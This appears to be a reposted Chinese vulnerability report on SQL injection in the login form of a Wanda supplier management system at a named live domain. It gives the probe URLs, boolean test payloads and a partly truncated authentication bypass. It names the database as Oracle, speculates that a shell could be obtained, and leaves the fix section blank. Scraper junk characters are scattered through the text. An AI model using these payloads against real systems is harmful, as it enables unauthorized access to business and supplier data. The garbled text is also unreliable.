万达供应商系统SQL注射漏洞

admin

简要描述：万达某分站sql注入。敏感信息泄露。
8 m8 ~7 ]2 j& e, |5 z6 X4 o  C$ X* n详细说明：
, }- a3 A4 I( X万达scm系统登陆框sql注入。
5 r% M5 E1 k' @2 n0 {% o
http://www.vans-china.cn/LoginUser?USERNO=%27&PWD=%27
8 j+ ?- o& F. ]* o
4 U6 @6 V. v0 R$ L% ?- n
9 q  K5 w' ?1 E) D7 j! k500错误。
( P& {! U. |9 e3 S$ g6 a
用户名随便输，提示没有该用户;USERNO=%27 and 1=1 --&PWD=%27 and 1=1 --提示密码错误。
http://www.myhack58.com/Article/UploadPic/2013-3/201332317223677547.png
' {8 y. t# P- \/ }7 L截图有一点问题，用户名，和密码输入' and 1=1 --可以得到相同的提示，可自测。）
" l4 T/ W% X5 W, Z( @经过分析，登陆验证的过程应该是：
) @9 C3 x; t6 w; ?
取用户名查询数据库，有该用户，再用该用户密码和输入的密码进行比对，相同则登陆成功。
# F  l$ N/ q* R. u% t; dhttp://www.myhack58.com/Article/UploadPic/2013-3/201332317233886589.png
" L$ m9 B) A1 U- b) f0 E" y
/ G. R, I) g! h% [" J9 Horacle数据库，存在注入点。@大连万达，你怎么看？
* c3 j' v4 o2 T3 @8 W: v) z% Xhttp://www.myhack58.com/Article/UploadPic/2013-3/201332317241777393.png

系统里有万达的供应商资料什么的,提交数据的地方随便输入'，提交500错误。没深入。目测可shell。
漏洞证明：
) N0 j# b1 a( i1 a: L万达scm系统登陆框sql注入。
% m' r! t- Z$ G, t
* ?. m# ~* ]5 G6 G4 {http://www.vans-china.cn/LoginUser?USERNO=%27&PWD=%27
" j# s6 _/ C5 R8 h' I5 M

500错误。
' o) x; N- }1 h" J9 g
用户名随便输，提示没有该用户;USERNO=%27 and 1=1 --&PWD=%27 and 1=1 --提示密码错误。
! O, M" A, e  Q& m" Chttp://www.myhack58.com/Article/UploadPic/2013-3/20133231728465694.png


  |9 A( b' S* I6 w2 ]$ j" u（截图有一点问题）

怎么饶都饶不过去；经过分析，登陆验证的过程应该是：
  ]* e) y( v: m2 G
3 F! x0 i  f1 _2 V$ T) {  i% y  }取用户名查询数据库，有该用户，再用该用户密码和输入的密码进行比对，相同则登陆成功。

绕过：
0 U+ D4 |- s) F5 Ghttp://www.vans-china.cn/LoginUs ... 1%27=%271&PWD=1

+ f, A" m; d- |% |; K" K6 b
oracle数据库，存在注入点。@大连万达，你怎么看？
​系统里有万达的供应商资料什么的，有发布公告，没深入。目测可shell。

9 V/ B9 @# V) F3 V6 A, E6 K4 s& }修复方案：
2 M& s. t% k- `9 e& c, F" y。。。
' K7 q" H5 g* Z2 F
& z0 P( p+ i, ]2 |
1 f) ~- j0 s( k8 ?( ^6 y' I厂商已经确认

% R+ A" q2 s( e" {! ]6 g[/td][/tr]
. ?" k6 A7 c3 u5 B/ T3 H[/table]
5 k4 @* `8 G/ h8 D1 g
0 @- u6 o* J# y6 s; s' Y5 g